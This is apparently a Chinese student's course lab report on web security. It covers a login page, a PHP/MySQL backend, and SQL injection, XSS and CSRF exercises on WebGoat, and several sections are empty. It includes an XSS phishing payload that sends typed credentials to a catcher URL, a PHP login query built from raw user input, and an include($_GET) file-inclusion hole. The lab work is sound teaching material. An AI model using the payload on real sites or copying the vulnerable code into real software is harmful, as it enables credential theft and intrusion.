其他分享
首页 > 其他分享> > 20181313毕然《网络对抗技术》——Exp8 Web综合

20181313毕然《网络对抗技术》——Exp8 Web综合

作者:互联网

《网络对抗技术》——Exp8 Web综合

目录

一、实践内容

 

二、实践原理

 

三、实践过程记录

1、Web前端HTML

<html> 
<head> 
<title>Login</title> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> </head> 
<body> 
    <h2 align="center">Login</h2> 
            <center> 
        <form action="login" method="post"> 
            <input placeholder="E-mail" name="Name" class="user" type="email"> 
            <br> 
            </br> 
            <input placeholder="Password" name="Password" class="pass" type="password"> 
            <br> 
            </br> 
            <input type="submit" value="Login"> 
    </form> 
            </center> 
</body> 
</html>

2、Web前端JavaScript

<html>
<head>
<title>CryptoTeam</title>
<!-- Meta tag Keywords -->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<!-- Meta tag Keywords -->
</head>
<body>
<!-- main -->
<!--//header-->
    <h2>Login Quick</h2>
        <form action="login" method="post" name="form_login">
            <input placeholder="E-mail" name="Email" class="user" type="email" onfocus="if (this.value=='Your email') this.value='';" />
            <br>
            </br>
            <input  placeholder="Password" name="Password" class="pass" type="password" onfocus="if (this.value=='Your password') this.value='';"/>
            <br>
            </br>
            <input type="submit" value="Login" onClick="return validateLogin()"/>
        </form>
<!--//main-->
<script language="javascript">  
    function validateLogin(){  
        var sUserName = document.form_login.Email.value ;  
        var sPassword = document.form_login.Password.value ;    
        if ((sUserName =="") || (sUserName=="Your email")){  
        alert("user email!");  
        return false ;  
        }  
        if ((sPassword =="") || (sPassword=="Your password")){  
        alert("password!");  
        return false ;  
        }  
    }   
</script>  
</body>
</html>

3、Web后端:MySQL基础

4、Web后端:编写PHP网页,连接数据库,进行用户认证

<?php 
echo ($_GET["a"]); 
include($_GET["a"]); 
echo "Hello 20181313blue!<br>"; 
?>

<?php
$uname=$_POST["Email"];
$pwd=$_POST["Password"];
echo $uname;
$query_str="SELECT * FROM login where username='$uname' and password='$pwd';";
$mysqli = new mysqli("127.0.0.1", "zhuyuexin", "181234", "zyx");
$query_str1="use zyx;";

/ check connection /if ($mysqli->connect_errno) {
printf("Connect failed: %s\n", $mysqli->connect_error);
exit();
}
echo "connection ok!";
/ Select queries return a resultset /if ($result = $mysqli->query($query_str1))
echo"<br>Success into database!";
echo$uname;
if ($result = $mysqli->query($query_str)) {
if ($result->num_rows > 0 ){
echo "<br> {$uname}:Welcome!!! <br> ";
}
else {
echo "<br> login failed!!!! <br> " ; }
/ free result set /
$result->close();
}
$mysqli->close();
?>

5、最简单的SQL注入、XSS攻击测试

SQL注入

XSS攻击

6、选做Webgoat或类似平台的SQL注入、XSS、CSRF攻击各一例

 SQL注入攻击——字符串型注入

 XSS攻击——XSS钓鱼

<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
</div></div>
</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>

 CSRF攻击——跨站请求伪造

 

四、实践基础问题回答

1、什么是表单?

2、浏览器可以解析运行什么语言?

3、WebServer支持哪些动态语言?

4、防范注入攻击的方法有哪些?

 

五、实践心得体会

       本次实验是Web的一些基础应用:前端的HTML和JavaScript、后端的MySQL和PHP、前端和后端的结合,以及SQL注入攻击、XSS攻击、CSRF攻击等等。在本次实验中,结合数据库课程的内容,我更深刻地熟悉和掌握了MySQL数据库在Linux系统中的应用,对PHP文件的操作也有了比较基础的掌握。针对本次实践中尝试的各类攻击方式,我发现其实在平时的web设计中只要多加注意,其实就能很好地避免简单的攻击,在之后的学习过程中也会加以思考和应用。

标签:Web,Exp8,XSS,攻击,毕然,用户,SQL,输入
来源: https://www.cnblogs.com/bbbbblue/p/14810753.html